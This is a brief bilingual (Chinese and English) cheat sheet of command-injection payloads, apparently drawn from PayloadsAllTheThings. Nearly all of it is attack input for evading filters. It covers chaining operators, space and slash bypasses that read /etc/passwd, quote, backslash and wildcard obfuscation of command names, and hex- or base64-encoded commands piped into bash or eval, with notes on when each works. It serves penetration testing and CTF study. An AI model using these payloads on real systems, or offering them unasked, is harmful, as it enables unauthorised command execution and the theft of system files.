💡 Command Injection Cheat Sheet
命令链接符 (Chaining Commands)
; 分号 - 顺序执行多个命令
&& AND - 仅当前一命令成功时执行
|| OR - 仅当前一命令失败时执行
& 后台执行 - 命令在后台运行
| 管道 - 前一命令输出作为后一命令输入
空格绕过 (Bypass Without Space)
${IFS} - Internal Field Separator (Bash only, 不能用在引号内!)
{cat,/etc/passwd} - 花括号展开 (Bash only)
cat</etc/passwd - 输入重定向
%09 - Tab字符 (URL编码, Web场景)
$'cmd\x20arg' - ANSI-C Quoting
斜杠绕过 (Bypass Slash Filter)
${HOME:0:1} - 提取HOME路径第一个字符 /
${PWD:0:1} - 提取PWD路径第一个字符 /
echo . | tr '!-0' '"-1' - 用tr命令生成 /
命令名绕过 (Bypass Command Filter)
wh''oami / wh""oami - 空引号插入
w\hoami - 反斜杠插入
wh``oami - 空反引号插入
who$@ami / who$()ami - 变量/子shell插入
/???/i? - 通配符 ? (必须有路径前缀!)
/b*/i* - 通配符 * (必须有路径前缀!)
- ⚠️
i* 单独使用会匹配当前目录文件,报错!
编码绕过 (Encoding Bypass)
echo -e "\x69\x64"|bash - Hex + 管道执行 ✅ 支持 && || ;
eval $(echo -e "\x69\x64") - Hex + eval执行 ✅ 支持 && || ;
$'\x69\x64' - ANSI-C Hex ⚠️ 仅限简单命令!
eval $'\x69\x64...' - ANSI-C + eval ✅ 支持 && || ;
`echo -e "\x69\x64"` - ⚠️ 会执行但报错 (输出被当命令)
echo aWQ=|base64 -d|bash - Base64编码 ✅
命令替换注入 (Inside A Command)
`cmd` - 反引号命令替换
$(cmd) - $() 命令替换
⚠️ 重要限制
- 反引号陷阱 -
`id` 会执行 id,但输出 uid=503... 会被当作命令执行,报错
"command
not found"!
→ 命令会执行,但随后报错。用于盲注/带外可行,直接回显不行
- Shell 关键字不能绕过 -
while, do, done,
if, then, fi, for 等是 shell
语法的一部分,不能用引号/反斜杠绕过!
- ${IFS} 不能用在单引号内 (如 awk '{print $5}' 中的空格无法替换)
- Brace Expansion {cmd,arg} 仅在 Bash 有效,Zsh 不支持
- Random Case wHoAmI 仅在 Windows 有效
参考: PayloadsAllTheThings - Command
Injection